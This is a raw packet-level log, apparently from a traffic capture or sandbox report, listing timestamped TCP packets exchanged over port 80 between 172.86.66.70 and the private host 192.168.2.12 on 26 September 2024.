Sep 26, 2024 15:11:09.796415091 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.796442986 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.796475887 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.796489000 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.796500921 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.796519041 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.796542883 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.796628952 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.796641111 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.796653986 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.796684980 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.797034979 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.797081947 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.797094107 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.797106981 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.797143936 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.797213078 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.797224998 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.797236919 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.797249079 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.797256947 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.797344923 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.797362089 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.797375917 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.797386885 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.797399044 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.797405958 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.797410965 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.797424078 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.797451019 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.797476053 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.798043966 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.798057079 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.798069954 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.798090935 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.798202038 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.798214912 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.798227072 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.798263073 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.798293114 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.833323002 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.833338976 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.833352089 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.833362103 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.833388090 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.833422899 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.883755922 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.883872032 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.883883953 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.883902073 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.883934975 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.883971930 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.884005070 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.884016991 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.884028912 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.884042025 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.884064913 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.884083033 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.884180069 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.884192944 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.884203911 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.884232998 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.884433031 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.884444952 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.884458065 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.884475946 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.884499073 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.884567022 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.884581089 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.884620905 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.884707928 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.884720087 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.884731054 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.884749889 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.884838104 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.884850025 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.884884119 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.884959936 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.885003090 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.885152102 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.885164022 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.885176897 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.885188103 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.885200024 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.885201931 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.885222912 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.885266066 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.885345936 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.885572910 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.885582924 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.885596037 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.885607004 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.885617971 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.885618925 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.885646105 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.885713100 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.885726929 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.885746002 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.885885954 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.885898113 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.885910034 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.885921955 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.885927916 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.885948896 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.886064053 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.886076927 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.886089087 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.886112928 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.886132956 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.886198997 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.886733055 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.886745930 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.886758089 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.886765003 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.886775970 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.886804104 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.886876106 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.886887074 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.886898994 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.886910915 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.886913061 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.886936903 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.887043953 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.887056112 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.887084007 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.887213945 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.887228012 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.887238979 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.887252092 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.887262106 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.887264967 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.887289047 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.887305975 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.887758970 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.887769938 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.887784004 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.887810946 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.887939930 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.887953043 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.887965918 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.887988091 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.888011932 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.888025045 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.888037920 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.888050079 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.888061047 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.888068914 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.888115883 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.888204098 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.888216972 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.888227940 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.888250113 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.888353109 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.888365984 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.888396978 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.888662100 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.888730049 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.888835907 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.919292927 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.919327021 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.919344902 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.919354916 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.919358969 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.919372082 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.919416904 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.919416904 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.919433117 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.919446945 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.919485092 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.969532967 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.969551086 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.969569921 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.969582081 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.969594002 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.969608068 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.969607115 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.969651937 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.969660044 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.969669104 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.969681025 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.969692945 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.969722986 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.969727993 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.969738960 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.969746113 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.969758034 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.969789028 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.969800949 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.969861984 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.969873905 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.969887018 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.969897985 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.969907045 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.969928980 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.969965935 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.969978094 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.970058918 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.971678019 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.971704006 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.971714020 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.971725941 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.971756935 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.971786976 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.972012043 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.972064972 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.972070932 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.972079039 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.972131014 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.972145081 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.972157001 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.972170115 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.972182989 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.972199917 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.972213030 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.972327948 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.972340107 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.972352982 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.972366095 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.972376108 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.972378969 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.972409010 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.972454071 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.972465992 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.972476959 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.972501993 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.972534895 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.972552061 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.972563982 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.972575903 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.972601891 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.972626925 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.972639084 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.972682953 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.972712040 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.972753048 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.972796917 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.972809076 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.972846031 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.972855091 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.972866058 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.972877979 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.972901106 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.973022938 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.973067999 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.973079920 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.973104000 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.973129988 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.973154068 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.973167896 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.973202944 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.974725962 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.974750042 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.974761009 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.974792957 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.974847078 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.974858046 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.974886894 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.974986076 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.974998951 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.975011110 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.975023031 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.975035906 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.975048065 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.975066900 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.975080013 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.975100040 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.975111961 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.975125074 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.975136995 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.975152016 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.975168943 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.975184917 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.975184917 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.975195885 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.975230932 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.975428104 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.975471020 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.975496054 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.975513935 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.975526094 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.975538015 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.975553989 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.975805998 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.975951910 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.975964069 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.975976944 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.976020098 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.976025105 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.976067066 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.976087093 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.976099968 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.976111889 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.976125002 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.976140022 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.976157904 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.976277113 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.976289034 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.976294994 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.976300955 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.976306915 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.976317883 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.976325989 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.976331949 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.976339102 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.976346016 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.976349115 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.976402998 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.976445913 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.976459980 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.976470947 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.976494074 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.976505995 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.976520061 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.976543903 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.976952076 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.977011919 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.977036953 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.977076054 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.977088928 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.977128029 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.977128983 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.977142096 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.977185965 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.005786896 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.005803108 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.005822897 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.005836010 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.005846977 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.005846977 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.005860090 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.005872965 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.005892992 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.005904913 CEST	49727	80	192.168.2.12	172.86.66.70
